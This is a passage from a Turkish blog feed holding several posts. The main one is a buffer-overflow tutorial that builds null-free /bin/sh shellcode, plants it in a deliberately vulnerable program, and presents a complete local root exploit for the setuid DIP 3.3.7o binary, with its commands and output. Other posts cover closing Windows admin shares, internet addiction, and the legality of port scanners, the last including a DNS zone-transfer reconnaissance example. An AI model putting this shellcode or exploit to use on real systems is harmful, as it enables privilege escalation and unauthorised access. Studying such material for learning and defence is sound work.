yazalim:<br /><br />8. system call table’da exit’in karsiligi olan 0x1’i EAX’a koy<br />9. EBX’e 0x0 koy<br />10 0x80 ile kernel moduna gec.<br /><br />Evet, kisaca boyle. Bu isleri yapan bir shell code yazip, objdump’la<br />hex karsiligini bulabiliriz:<br /><br />void main() {<br />__asm__("<br />jmp 0x2a # 3 byte<br />popl %esi # 1 byte<br />movl %esi,0x8(%esi) # 3 byte<br />movb $0x0,0x7(%esi) # 4 byte<br />movl $0x0,0xc(%esi) # 7 byte<br />movl $0xb,%eax # 5 byte<br />movl %esi,%ebx # 2 byte<br />leal 0x8(%esi),%ecx # 3 byte<br />leal 0xc(%esi),%edx # 3 byte<br />int $0x80 # 2 byte<br />movl $0x1, %eax # 5 byte<br />movl $0x0, %ebx # 5 byte<br />int $0x80 # 2 byte<br />call -0x2f # 5 byte<br />.string \\\\\\\\"/bin/sh\\\\\\\\" # 8 byte<br />");<br />}<br /><br />Bu programi derleyip objdump’la sadece main’in icerigine bakalim:<br /><br />[mnml@victim mnml]$ make q<br />cc q.c -o q<br />[mnml@victim mnml]$ objdump -d q | grep \\\\\\\\: -A23 | more<br />08048440 :<br />8048440: 55 pushl %ebp<br />8048441: 89 e5 movl %esp,%ebp<br />8048443: eb 2a jmp 804846f<br />8048445: 5e popl %esi<br />8048446: 89 76 08 movl %esi,0x8(%esi)<br />8048449: c6 46 07 00 movb $0x0,0x7(%esi)<br />804844d: c7 46 0c 00 00 movl $0x0,0xc(%esi)<br />8048452: 00 00<br />8048454: b8 0b 00 00 00 movl $0xb,%eax<br />8048459: 89 f3 movl %esi,%ebx<br />804845b: 8d 4e 08 leal 0x8(%esi),%ecx<br />804845e: 8d 56 0c leal 0xc(%esi),%edx<br />8048461: cd 80 int $0x80<br />8048463: b8 01 00 00 00 movl $0x1,%eax<br />8048468: bb 00 00 00 00 movl $0x0,%ebx<br />804846d: cd 80 int $0x80<br />804846f: e8 d1 ff ff ff call 8048445<br />8048474: 2f das<br />8048475: 62 69 6e boundl 0x6e(%ecx),%ebp<br />8048478: 2f das<br />8048479: 73 68 jae 80484e3 <_etext+0x33><br />804847b: 00 c9 addb %cl,%cl<br />804847d: c3 ret<br /><br />Gordugunuz gibi bize gerekli instruction’lar 0x8048443’ten itibaren basliyor.<br />Dikkat ederseniz, instruction’lar arasinda ornegin movl $0xb,%eax’a denk<br />gelen 0 iceren bir kac byte vardir. Sorun su ki, strcpy() ve arkadaslari<br />0 byte’i string’in sonu olarak algiliyor, yani bu haliyle bizim shellcode<br />sadece ilk 0 byte’a kadar kopyalanacak. 0’lara denk gelen instruction’lari<br />bunlarin dengi fakat 0 icermeyen instruction’larla degistirip tekrar<br />deneyelim. Asagida, hangi instruction’lari hangileriyle degistirdigimiz<br />yeraliyor:<br /><br />movb $0x0,0x7(%esi) xorl %eax,%eax<br />molv $0x0,0xc(%esi) movb %eax,0x7(%esi)<br />movl %eax,0xc(%esi)<br />--------------------------------------------------------<br />movl $0xb,%eax movb $0xb,%al<br />--------------------------------------------------------<br />movl $0x1, %eax xorl %ebx,%ebx<br />movl $0x0, %ebx movl %ebx,%eax<br />inc %eax<br /><br />Ve yeni shellcode’umuz:<br /><br />void main() {<br />__asm__("<br />jmp 0x1f # 2 byte<br />popl %esi # 1 byte<br />movl %esi,0x8(%esi) # 3 byte<br />xorl %eax,%eax # 2 byte<br />movb %eax,0x7(%esi) # 3 byte<br />movl %eax,0xc(%esi) # 3 byte<br />movb $0xb,%al # 2 byte<br />movl %esi,%ebx # 2 byte<br />leal 0x8(%esi),%ecx # 3 byte<br />leal 0xc(%esi),%edx # 3 byte<br />int $0x80 # 2 byte<br />xorl %ebx,%ebx # 2 byte<br />movl %ebx,%eax # 2 byte<br />inc %eax # 1 byte<br />int $0x80 # 2 byte<br />call -0x24 # 5 byte<br />.string \\\\\\\\"/bin/sh\\\\\\\\" # 8 byte<br /># toplam 46 byte<br />");<br />}<br /><br />[mnml@victim mnml]$ make q<br />cc q.c -o q<br />[mnml@victim mnml]$ objdump -d q | grep \\\\\\\\: -A23<br />08048440 :<br />8048440: 55 pushl %ebp<br />8048441: 89 e5 movl %esp,%ebp<br />8048443: eb 1f jmp 8048464<br />8048445: 5e popl %esi<br />8048446: 89 76 08 movl %esi,0x8(%esi)<br />8048449: 31 c0 xorl %eax,%eax<br />804844b: 88 46 07 movb %al,0x7(%esi)<br />804844e: 89 46 0c movl %eax,0xc(%esi)<br />8048451: b0 0b movb $0xb,%al<br />8048453: 89 f3 movl %esi,%ebx<br />8048455: 8d 4e 08 leal 0x8(%esi),%ecx<br />8048458: 8d 56 0c leal 0xc(%esi),%edx<br />804845b: cd 80 int $0x80<br />804845d: 31 db xorl %ebx,%ebx<br />804845f: 89 d8 movl %ebx,%eax<br />8048461: 40 incl %eax<br />8048462: cd 80 int $0x80<br />8048464: e8 dc ff ff ff call 8048445<br />8048469: 2f das<br />804846a: 62 69 6e boundl 0x6e(%ecx),%ebp<br />804846d: 2f das<br />804846e: 73 68 jae 80484d8 <_fini+0x28><br />8048470: 00 c9 addb %cl,%cl<br /><br />Shell kodumuzu deneyelim:<br /><br />char shellcode[] =<br />"\\\\\\\\xeb\\\\\\\\x1f\\\\\\\\x5e\\\\\\\\x89\\\\\\\\x76\\\\\\\\x08\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x88\\\\\\\\x46\\\\\\\\x07\\\\\\\\x89\\\\\\\\x46\\\\\\\\x0c\\\\\\\\xb0\\\\\\\\x0b"<br />"\\\\\\\\x89\\\\\\\\xf3\\\\\\\\x8d\\\\\\\\x4e\\\\\\\\x08\\\\\\\\x8d\\\\\\\\x56\\\\\\\\x0c\\\\\\\\xcd\\\\\\\\x80\\\\\\\\x31\\\\\\\\xdb\\\\\\\\x89\\\\\\\\xd8\\\\\\\\x40\\\\\\\\xcd"<br />"\\\\\\\\x80\\\\\\\\xe8\\\\\\\\xdc\\\\\\\\xff\\\\\\\\xff\\\\\\\\xff/bin/sh";<br /><br />void main()<br />{<br />int *ret;<br /><br />ret = (int *)&ret + 2;<br />(*ret) = shellcode;<br />}<br /><br /><br />[mnml@victim mnml]$ make shellcode<br />cc shellcode.c -o shellcode<br />[mnml@victim mnml]$ ./shellcode<br />bash$<br /><br />Iste calisti!<br /><br />Yaptigimiz sey, main() icindeki pointer to integer olan ret degiskeninin<br />adresini 2 birim (8 byte) artirarak geri donus adresinin oldugu yere gitmek,<br />sonra da o bolume shellcode’umuzun adresini saklamakti. main RET yaptiginda<br />geri donus adresi yerine shell kodumuzun adresini POP edildi, ve islemci<br />bu adresteki instruction’lari calistirdi...<br /><br />-- Exploit Yazma --<br /><br />Simdi kendimiz bir buffer overflow hatasi olan bir kod yazip, ondan shell<br />calistiralim:<br /><br />victim.c:<br /><br />char shellcode[] =<br />"\\\\\\\\xeb\\\\\\\\x1f\\\\\\\\x5e\\\\\\\\x89\\\\\\\\x76\\\\\\\\x08\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x88\\\\\\\\x46\\\\\\\\x07\\\\\\\\x89\\\\\\\\x46\\\\\\\\x0c\\\\\\\\xb0\\\\\\\\x0b"<br />"\\\\\\\\x89\\\\\\\\xf3\\\\\\\\x8d\\\\\\\\x4e\\\\\\\\x08\\\\\\\\x8d\\\\\\\\x56\\\\\\\\x0c\\\\\\\\xcd\\\\\\\\x80\\\\\\\\x31\\\\\\\\xdb\\\\\\\\x89\\\\\\\\xd8\\\\\\\\x40\\\\\\\\xcd"<br />"\\\\\\\\x80\\\\\\\\xe8\\\\\\\\xdc\\\\\\\\xff\\\\\\\\xff\\\\\\\\xff/bin/sh";<br /><br />char large_str[50];<br /><br />void main()<br />{<br />int i;<br />char foo[12];<br /><br />int *ap = (int *)large_str;<br /><br />for (i = 0; i < 50; i += 4)<br />*ap++ = shellcode;<br />strcpy(foo, large_str);<br />}<br /><br /><br />[mnml@victim mnml]$ make victim<br />cc victim.c -o victim<br />[mnml@victim mnml]$ ./victim<br />bash$<br /><br />Voila! Iste bu kadar. Peki ne yaptik? for dongusunde, large_str array’ine<br />shellcode’umuz olan shellcode’nin adresini kopyaladik. Adres 32 bit - 4 byte<br />oldugu icin, i degiskenini 4’er artiriyoruz. Daha sonra, main()’in icindeki<br />12 bytelik array’e, shellcode’umuzun adresini barindiran 50 bytelik bir array<br />kopyalayinca (strcpy()), geri donus adresinin uzerine large_str’nin icerigi --<br />bizim shellcode’un adresi -- yazildi. Ve dolayisiyla main() cagrilmadan<br />once save edilen geri donus adresi, shell kodumuzun adresi ile override<br />edildi. Boylece main()’deki RET shellcode’un adresini POP ediyor ve islemci<br />o adresteki instruction’lari calistirip bize shell prompt veriyor. Burda<br />karistirilmamasi gereken bir nokta, strcpy()’nin kendi buffer’ini degil,<br />main()’in buffer’ini overflow etmesi. Yani strcpy() CALL edilirken, ondan<br />sonraki instruction’in adresi strcpy() RET ettikten sonra da eskisi gibi<br />duruyor. strcpy()’nin overwrite ettigi main()’in local degiskeni olan foo.<br /><br />Evet, simdi burada kendi programimizin buffer’ini overflow ettik,<br />shellcode’umuzun adresin biliyorduk. Peki baska bir programin buffer’ini<br />overflow ederken napicaz? Shellkodumuzun hafizanin neresinde olacagini<br />nereden bilecegiz? Guzel bi soru.<br /><br />Iki cevabi var:<br /><br />1. Aleph1’in paper’inda yazdigi gibi, aslinda bilemeyiz, isletim sistemi o<br />kodu bi yerlere atar, biz de shell kod’un offset’ini tahmin edebiliriz. Ama<br />bu su anda cok "lame" kabul edilen bir yontem.<br /><br />2. Akillilik edip, shell kodun adresini biz kendimiz belirleyebiliriz.<br />Nasil mi?<br /><br />Linux ELF binary’si hafizaya yuklendigindeki hafiza haritasinin en yuksek<br />adresine gdb ile detayli gozatarsak sunu goruruz:<br /><br /><br />--------------------- 0xBFFFFFFF<br />|\\\\\\\\000 \\\\\\\\000 \\\\\\\\000 \\\\\\\\000| 0xBFFFFFFB (4 tane NUL byte)<br />|\\\\\\\\000 ...... | 0xBFFFFFFA (program_ismi)<br />| ..................|<br />|...................| 1. environment degiskeni (env[0])<br />|...................| 2. environment degiskeni (env[1])<br />|...................| 3. ...<br />|...................| ...<br />|...................| 1. argument string’i (argv[0])<br />|...................| 2. argument string’i (argv[1])<br />|...................| 3. ...<br />| . |<br />| . |<br />| . |<br /><br />Daha once execve() nin son parametresinin environment degiskenlerini tutan<br />bir string’ler array’i oldugunu soylemistik. Buraya kadar guzel, yukaridaki<br />sekle bakarsaniz, biz, 1. enviroment degiskeninin *baslangic* adresini kesin<br />olarak hesapliyabiliriz.<br /><br />envp = 0xBFFFFFFF -<br />4 - (4 tane NUL byte)<br />strlen(program_ismi) - (program isminin son NUL’i icermeyen boyutu)<br />1 - (yukarida strlen()’in saymadigi NUL)<br />strlen(envp[0]) (ilk environment degiskenin boyutu)<br /><br />Daha da basitlestirirsek:<br /><br />envp = 0xBFFFFFFA - strlen(program_ismi) - strlen(env[0])<br /><br />O zaman envp[0]’a shellcode’umuzu koyup, envp’yi execve’ye environment<br />degiskenlerini barindiran array of strings parametresi olarak verebiliriz.<br />Boylece shellcode’umuzun adresini kesin bildigimize gore, overflow<br />edecegimiz buffer’i hangi adresle doldurmamiz gerektigini biliyoruz:<br /><br />ret = 0xBFFFFFFA - strlen(program_ismi) - strlen(shellcode);<br /><br />Buffer overflow ne demek biliyoruz, bufferi nasil overflow edecegimizi<br />biliyoruz, return adresi nasil modifiye edebilecegimizi biliyoruz,<br />shellcode’umuzun adresini de biliyoruz, sorun kalmadi, simdi ilk gercek<br />exploit’umuzu yazabiliriz:<br /><br />- The Exploit -<br /><br />DIP (Dial Up IP protocol) programinin 3.3.7o-uri (8 Feb 96) versiyonunda,<br />bir buffer overflow hatasi vardi. Bu program bazi Linux dagitimlarinda<br />by-default setuid olarak geliyordu. Programin aldigi parametrelerden -l<br />switch’i, programin icinde manipulate edilirken stpcpy() fonksiyonu ile<br />bounds checking yapilmadan kopyalaniyordu. Dolayisiyla burada bir buffer<br />overflow olusuyordu.<br /><br />DIP’in bu versiyonunda hatali olan kod asagidaki gibiydi:<br /><br />command.c dosyasinda, asagidaki gibi bi operasyon var:<br /><br />l = stpcpy(l, argv);<br /><br />Man stpcpy deyip bakarsaniz stpcpy fonksiyonu buffer’in sinirlari hakkinda<br />hicbir kontrol uygulamadan kendisine verilen string’i digerine oylece<br />kopyaliyor. Iste burada yapacagimiz sey de bu buffera shell kodumuzun<br />adresini ’dikkatlice’ yerlestirmek.<br /><br />[mnml@victim mnml]$ /usr/sbin/dip -k -l `perl -e ’print "A"x116’`<br />DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)<br />Written by Fred N. van Kempen, MicroWalt Corporation.<br /><br />DIP: cannot open<br />/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:<br />No such file or directory<br />[mnml@victim mnml]$ /usr/sbin/dip -k -l `perl -e ’print "A"x117’`<br />DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)<br />Written by Fred N. van Kempen, MicroWalt Corporation.<br /><br />DIP: cannot open<br />/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:<br />No such file or directory<br />Segmentation fault (core dumped)<br />[mnml@victim mnml]$<br /><br />Yukarida gordugunuz gibi, dip’in -l switch’ine 116’dan fazla deger<br />girdiginizde (mesela 117) return adresi override etmis oluyorsunuz :)<br />Bu da stpcpy ’de bufferin kopyalandigi yerden sonra 117. byte da<br />RET basliyor demek.<br /><br />Simdi exploit:<br /><br />/* /usr/sbin/dip | euid = 0 | mnml@r00t.us */<br /><br />#include<br />#include<br />#include<br /><br />#define BUFSIZE 250<br /><br />char sc[] =<br />"\\\\\\\\xeb\\\\\\\\x1f\\\\\\\\x5e\\\\\\\\x89\\\\\\\\x76\\\\\\\\x08\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x88\\\\\\\\x46\\\\\\\\x07\\\\\\\\x89\\\\\\\\x46\\\\\\\\x0c\\\\\\\\xb0\\\\\\\\x0b"<br />"\\\\\\\\x89\\\\\\\\xf3\\\\\\\\x8d\\\\\\\\x4e\\\\\\\\x08\\\\\\\\x8d\\\\\\\\x56\\\\\\\\x0c\\\\\\\\xcd\\\\\\\\x80\\\\\\\\x31\\\\\\\\xdb\\\\\\\\x89\\\\\\\\xd8\\\\\\\\x40\\\\\\\\xcd"<br />"\\\\\\\\x80\\\\\\\\xe8\\\\\\\\xdc\\\\\\\\xff\\\\\\\\xff\\\\\\\\xff/bin/sh";<br /><br />void main()<br />{<br />char *env[2] = {sc, NULL};<br />char buf[BUFSIZE] = "A";<br />int i;<br />int *ap = (int *)(buf + strlen(buf));<br />int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");<br /><br />for (i = 0; i < BUFSIZE - 4; i += 4)<br />*ap++ = ret;<br /><br />execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);<br />}<br /><br />Simdi exploitimizi aciklayalim:<br /><br />BUFFER buyuklugunu 250 byte olarak belirliyoruz, ki 117’den fazla hersey olur<br />burda. (Fakat bu, her bir exploit icin gecerli degil. Detaylar bir sonraki<br />dokumanda.)<br /><br />shell kodumuzu yaziyoruz, ve simdi de main():<br /><br />shell kodumuzun adresini sakliyacagimiz 2 birimlik bir environment pointer<br />atiyoruz. Bunun birinci elemaninda shell kodun adresini, digerine de NULL<br />atiyoruz (execve() boyle istiyor):<br /><br />char *env[2] = {sc, NULL};<br /><br />Sonra buffer’imiz icin yer ariyoruz. Bu buffer’i -l switch’ine paremetre<br />verecegiz. Burda bir tek A koymamiz, ALIGNMENT icin. Hafiza cogumuzun<br />kullandigi 32 bit islemcilerde 4 byte’lik bolmeler halinde adreslenir.<br />Dolayisiyla RET’in baslama ve bitimi arasinda 4 byte var. Bizim buffer’imiz<br />117 byte’dan sonra override ediyor RET’i. 117 4’un kati degil. ona en yakin ve<br />ondan kucuk 116 var. 1 eksik. O zaman buffer’a bir adet A yazalim ve de dorder<br />dorder ilerleyerek RET’i shell kodun adresi ile override edelim:<br /><br />char buf[BUFSIZE] = "A";<br /><br />Adres pointer’imiz buffer’in A’dan sonraki ilk bolumune isaret ediyor:<br /><br />int *ap = (int *)(buf + strlen(buf));<br /><br />RET adresimizi kesin hesapliyoruz, detaylari icin yukariya bakin.<br /><br />int ret = 0XBFFFFFFA - strlen(sc) - strlen("/usr/sbin/dip");<br /><br />Dorder dorder ilerleyip, ret’in degerini buffer’in icine dolduralim. Burada<br />neden *ap’nin degerini 4 artirmiyoruz derseniz, zaten ap bir pointer onun<br />degerini bir artirmak demek, adresin degerini 4 artirmak demektir:<br /><br />for (i = 0; i < BUFSIZE - 4; i += 4)<br />*ap++ = ret;<br /><br />Ve geriye kalan sadece execve. Once vulnerable programin full path’i,<br />programin ismi, NULL ile biten argumanlar dizisi ve environment pointer’i<br />execle’ye paremetre olarak veriyoruz:<br /><br />execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);<br /><br />Word Doc > http://rapidshare.de/files/47752523/bof.rtf.htmlKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-32112288680582179532010-07-08T16:35:00.003-07:002010-07-08T16:35:43.752-07:00Pc nizdeki Gizli paylaşımları kapamakPc nizdeki Gizli paylaşımları kapamak icin su adıları ızleyın<br />Baslat-Calıstır-CMD yaz entera bas acılan sıyah yere net share yaz evet sımdı karsımıza bılgısayarımızn gızlı paylasıma acık olanları cıktı onunde $ ısaretı olanlar paylasıma acık demektır bunları kapamak icin asagıdakı kodları kopyalayıp bır metın belgsıne yada not defterıne yapsıtırın sonra uzantısını .bat yaparak kaydedın ve calısıtırın sistemde çalışıp tüm açıklar kapanacaktır ha bu arada vista da denedim olmuyor o yüzden xp de kullanışlıdır.<br /><br />Dilerseniz kendinizde not defterine falan kaydetmeden el ile yapabilirsiniz cmd den<br /><br />Kolay gelsin.arkdaslar<br /><br />Kod:<br />@echo off<br />net share c$ /d<br />net share d$ /d<br />net share f$ /d<br />net share g$ /d<br />net share h$ /d<br />net share e$ /d<br />net share admin$ /d<br />net share IPC$ /dKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-81412350806515921602010-07-08T16:35:00.001-07:002010-07-08T16:35:18.609-07:00İnternet BağımlılığıİNTERNET BAĞIMLILIĞI: GERÇEK Mİ? KURGU MU?<br /><br />Floridalı bir kadın, mahkeme sonunda İnternet bağımlısı olduğuna karar verilince çocuğunun velayetini kaybetti. Yargıç Jerry Locket, Pam Albridge’nin 7 ve 8 yaşlarındaki çocuklarının velayetinin babaya verilmesine karar verdi. Tanıklara göre Bayan Albridge, eşiyle ayrı yaşamaya başladıktan sonra bilgisayarını yatak odasına taşımış, kapıyı sürekli kilitli tutmuş ve zamanının büyük bir kısmını İnternete bağlanarak geçirmeye başlamıştı<br /><br />Yukarıdaki haber, İngiltere’deki popüler gazetelerde “İnternet bağımlılığı” konusunda çıkan tipik haberlerden biridir. Newsweek’in İngiltere baskısı raporlarına göre on-line* topluluğun % 2-3’ünde ciddi şekilde İnternet bağımlılığı mevcut ve bu kişiler uyanık oldukları zamanlarının çoğunu bu ortamda sörf yaparak ya da sohbet ederek geçirmektedirler<br /><br />İnternet bağımlılığı konusundaki araştırmalar şu an çok az olmakla birlikte gittikçe artmaktadır. Bu makalede görgül (empirical) araştırmalar medyanın uyarılarından ayrılmaya çalışılacak ve İnternet bağımlılığının, kumar ya da alkol bağımlılığında olduğu gibi açıklıkla görülüp görülemeyeceği değerlendirilecektir.<br /><br />“BAĞIMLILIĞI” TANIMLARKEN<br /><br />Birçok kişi için bağımlılık (addiction) kavramı ilaç almayı içerir . Bundan dolayı belki de resmi tanımların birçoğu ilaç içme konusuna yoğunlaşmıştır. Bu tanımlara rağmen, diğer davranışların da potansiyel olarak bağımlılık yaratabileceği görüşü gittikçe artmaktadır .<br /><br />Bu görüşler, kumar oynama , aşırı yeme , cinsellik , bilgisayar oyunları oynama ve çiftlerin birbirine aşırı bağlılığı gibi farklı etkinlikleri içermektedir. Bu farklılıklar bağımlılık yaratan davranışı nelerin oluşturduğunu yeniden tanımlamayı gerekli kılmaktadır.<br /><br />Birçok kişi bağımlılığı neyin oluşturduğu konusunda görüş sahibidir, fakat gerçekte bu konuda net bir açıklama yapmak zordur. Kimyasal olmayan bağımlılıkların bağımlılık yaratıp yaratmadığını belirlemenin yolu ilaç bağımlılığı için saptanmış olan klinik ölçütlerle karşılaştırmaktır. Bu yöntem, ’televizyon bağımlılığı’ ve ’eğlence makinesi bağımlılığı’ gibi davranışsal bağımlılıkların klinik olarak tanımlanabilmesini kolaylaştırmaktadır.<br /><br />“Bağımlılık” işevuruk olarak tanımlandıktan sonra, yanıtlanması gereken iki soru daha bulunmaktadır. Bunlar, “İnternet bağımlılığı gerçekten var mı?” ve “eğer var ise, insanlar gerçekte neye bağlanıyorlar?” sorularıdır. Bu sorular gerçek bağımlılıkların ana bileşenlerini inceleyerek ve daha sonra da aşırı İnternet kullanımı ile ilişkilendirilerek açıklanacaktır.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-6395454190497516362010-07-08T16:34:00.000-07:002010-07-08T16:35:02.454-07:00Port Tarayıcıları Kullanımı Hukuki İncelemesiHacker crackerların en önemli silahlarından ve aynı zamanda da sistem güvenlik uzmanlarının en büyük yardımcılarından olan tarayıcılar ve bunların kullanımının hukuka aykırı olup olmadığı, İnternet üzerinde ortaya çıkan diğer birçok problem gibi tartışmalıdır. Biz burada teknik olarak birkaç başlık altında incelenen tarayıcıları bu teknik ayırımlara girmeden port tarayıcıları başlığı altında inceleyeceğiz.<br /><br />1. Tarayıcı Nedir?<br /><br />Tarayıcı, yerel veya uzak bir sistemdeki zayıflıkları otomatik olarak tarayarak bunları tespit eden bir programdır. Tarayıcıları TCP port tarayıcıları olarak da tanımlayabiliriz. Yani bir tarayıcı en basit anlamda bir sistemdeki TCP portlarına erişir ve sistemden gelen cevapları alarak sistem hakkında bilgi toplar. Bu programlar C, Perl gibi çeşitli dillerde yazılabilir. Tarayıcıların çoğu bilgi toplama amaçlı olmasına rağmen bir kısmı hem bilgi toplar hem de bir açık bulunca sisteme girer ve orada kendisine yükletilen görevleri yerine getiririr. Örneğin kendisini gönderen kişinin istediği dosyaları girdiği sistemden göndericinin sistemine aktarır.<br /><br />Port tarayıcıları hacker crackerların sistemlere erişmek için açık bir port aramalarının çok uzun zaman alması sebebiyle yazılmışlardır. Çünkü bu programlardan önce bir sistemde zayıf nokta bulmak isteyen kişi bu işi elle ve uzun süre zarfında yapmak zorundaydı. Kullanılan yöntem elde edilen bazı telefon numaralarının çevrilerek bağlantı kabul edebilecek bir UNIX makine bulmaya çalışmaktı. Bu sebeple daha geniş bir alanda ve daha hızlı tarama yapabilmek için bu programlar geliştirildi. War Dialer isimli program bunların atası sayılmaktadır.<br /><br />Burada port ve port taraması terimlerinin anlamını vermek gerekmektedir.<br /><br />Port, ağ üzerinde bir sunucu bilgisayar ile istemci bilgisayar arasındaki veri iletimini sağlayan bağlantı noktalarıdır.<br /><br />Port taraması, İnternet üzerinden Tarayıcı programı kullanılarak ağ üzerindeki bir bilgisayarın, bir bağlantıyı kabul eden açık portu olup olmadığının araştırılmasıdır.<br /><br />Portlar basitçe bir bilgisayarın dışa açıldığı noktalardır. Aslında portlar ikiye ayrılmaktadır. Birincisi harici portlar adı verilen ve fiziki anlamda bilgisayarın dışarıdaki yazıcı, fare gibi araçlarla iletişim kurmasını sağlayan portlardır. Herbir bilgisayar 3 veya daha fazla harici porta sahiptir. İkinci tür portlar ise bu makalede ele alacağımız sanal portlardır. Her bilgisayarda bu portlardan binlerce vardır. Bu portlar kendilerine özgü işlevlere sahiptirler ve bu işlevlerini yine kendilerine özgü protokoller dahilinde yerine getirirler.<br /><br />Bu protokollerin bir çoğu verilerin aktarılması için çeşitli portlara bağlanmıştır. Örneğin 21 numaralı port bilgi almak ve göndermek için FTP ( File Transfer Protocol ) protokolünü kullanır. 23 numaralı port uzaktaki sunucuya direk olarak bağlanmayı sağlamak için Telnet protokolünü kullanır. 80 numaralı port ise bu portlardan en meşhur olanıdır ve web sayfalarını görebilmek için gerekli olan HTTP protokolünü kullanır. Fakat bu yaklaşık 65000 portun hepsi adanmış portlar değildir. Yani hepsine tek tek bir görev yüklenmiş değildir. Sadece 1’den 1024’e kadar olan portlar adanmış portlardır. Diğerleri sistem yöneticisi onları kullanıncaya dek bekleme konumunda kalırlar. Normal durumlarda tüm bu portlar açıktır. Bu portların durumunu görmek için baktığımızda bağlantılar için dinleniyor listening for connections yazdığını görebiliriz. Bu, bilgisayarımızın diğer makinelerle haberleşme kurmaya hazır olduğunu göstermektedir. Böyle bir durumda herhangi bir dış makineden gönderilen haberleşme isteğine, herhangi bir sınırlama söz konusu olmadıkça izin verilecektir.<br /><br />Bu durumun ise ne kadar tehlikeli olduğu ortadadır. Herhangi bir zamanda sisteme yetkisiz olarak erişmeyi amaçlayan bir kişi bu amacını gerçekleştirebilir. Bu sebeple sistem ve ağ yöneticileri kullanılmayan portları kapatmalıdırlar.<br /><br />Port tarayıcıları UNIX tabanlı olan birçok hassas komutu içinde barındırırlar. Bu komutları uygulayarak hedef sistemden birçok bilgi elde edilebilir. Örneğin host komutu ile bir sistem veya ağ hakkında binlerce satırlık bilgi elde edilebilir. Mesela;<br /><br />host -l -v -t any bu.edu<br />Found 1 addresses for BU.EDU<br />Found 1 addresses for RS0.INTERNIC.NET<br />Found 1 addresses for SOFTWARE.BU.EDU<br />Found 5 addresses for RS.INTERNIC.NET<br />Found 1 addresses for NSEGC.BU.EDU<br />Trying 128.197.27.7<br />bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU(<br />961112121 ;serial (version)<br />900 ;refresh period<br />900 ;retry refresh this often<br />604800 ;expiration period<br />86400 ;minimum TTL<br />)<br />bu.edu 86400 IN NS SOFTWARE.BU.EDU<br />bu.edu 86400 IN NS RS.INTERNIC.NET<br />bu.edu 86400 IN NS NSEGC.BU.EDU<br />bu.edu 86400 IN A 128.197.27.7<br /><br />bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/41 UNIX<br />PPP-77-25.bu.edu 86400 IN A 128.197.7.237<br />PPP-77-25.bu.edu 86400 IN HINFO PPP-HOST PPP-SW<br />PPP-77-26.bu.edu 86400 IN A 128.197.7.238<br />PPP-77-26.bu.edu 86400 IN HINFO PPP-HOST PPP-SW<br />ODIE.bu.edu 86400 IN A 128.197.10.52<br />ODIE.bu.edu 86400 IN MX 10 CS.BU.EDU<br />ODIE.bu.edu 86400 IN HINFO DEC-ALPHA-3000/300LX OSF1<br /><br />STRAUSS.bu.edu 86400 IN HINFO PC-PENTIUM DOS/WINDOWS<br />BURULLUS.bu.edu 86400 IN HINFO SUN-3/50 UNIX (Ouch)<br />GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-OS<br />CHEEZWIZ.bu.edu 86400 IN HINFO SGI-INDIGO-2 UNIX<br />POLLUX.bu.edu 86400 IN HINFO SUN-4/20-SPARCSTATION-SLC UNIX<br />SFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS<br />UH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS<br />SOFTWARE.bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX<br />CABMAC.bu.edu 86400 IN HINFO MACINTOSH MAC-OS<br />VIDUAL.bu.edu 86400 IN HINFO SGI-INDY IRIX<br />KIOSK-GB.bu.edu 86400 IN HINFO GATORBOX GATORWARE<br />CLARINET.bu.edu 86400 IN HINFO VISUAL-X-19-TURBO X-SERVER<br />DUNCAN.bu.edu 86400 IN HINFO DEC-ALPHA-3000/400 OSF1<br />MILHOUSE.bu.edu 86400 IN HINFO VAXSTATION-II/GPX UNIX<br />PSY81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95<br />BUPHYC.bu.edu 86400 IN HINFO VAX-4000/300 OpenVMS<br /><br />Yukarıdaki çıktıdan da görüldüğü gibi host komutu ile bir domainde bulunan tüm sistemleri , donanımı ve işletim sistemiyle birlikte listelenmektedir. Bu listeye bakarak bu domainde bulunan saldırılabilecek muhtemel sistemler belirlenebilir.<br /><br />Bu teknik açıklamalardan sonra konunun hukuki yönünü inceleyebiliriz.<br /><br />Tarayıcı Kullanımı Hukuka aykırı mıdır?<br /><br />Hukukumuzda bilgisayar suçları Türk Ceza Kanunu’nun 11. Babında ?Bilişim Alanında Suçlar başlığı altında düzenlenmiştir. Bu bap ve başlık 6/6/1991 tarih ve 3756 sayılı Kanunun 20 nci maddesiyle metne eklenmiştir. Bu başlık altında 525/a/f.1 maddesinde programların, verilerin veya diğer herhangi bir unsurun hukuka aykırı olarak ele geçirilmesi, 2.fıkrada elde edilen bu programların başkasına zarar vermek üzere kullanılması, nakledilmesi veya çoğaltılması; 525/b/f.1 maddesinde sistemin, verilerin veya diğer herhangi bir unsurun kısmen veya tamamen tahrip edilmesi, değiştirilmesi, silinmesi, sistemin işlemesine engel olunması veya yanlış biçimde işlemesinin sağlanması, 2. fıkrada sistemi kullanarak hukuka aykırı yarar sağlama; 525/c maddesinde belgelerde sahtecilik, 525/d maddesinde 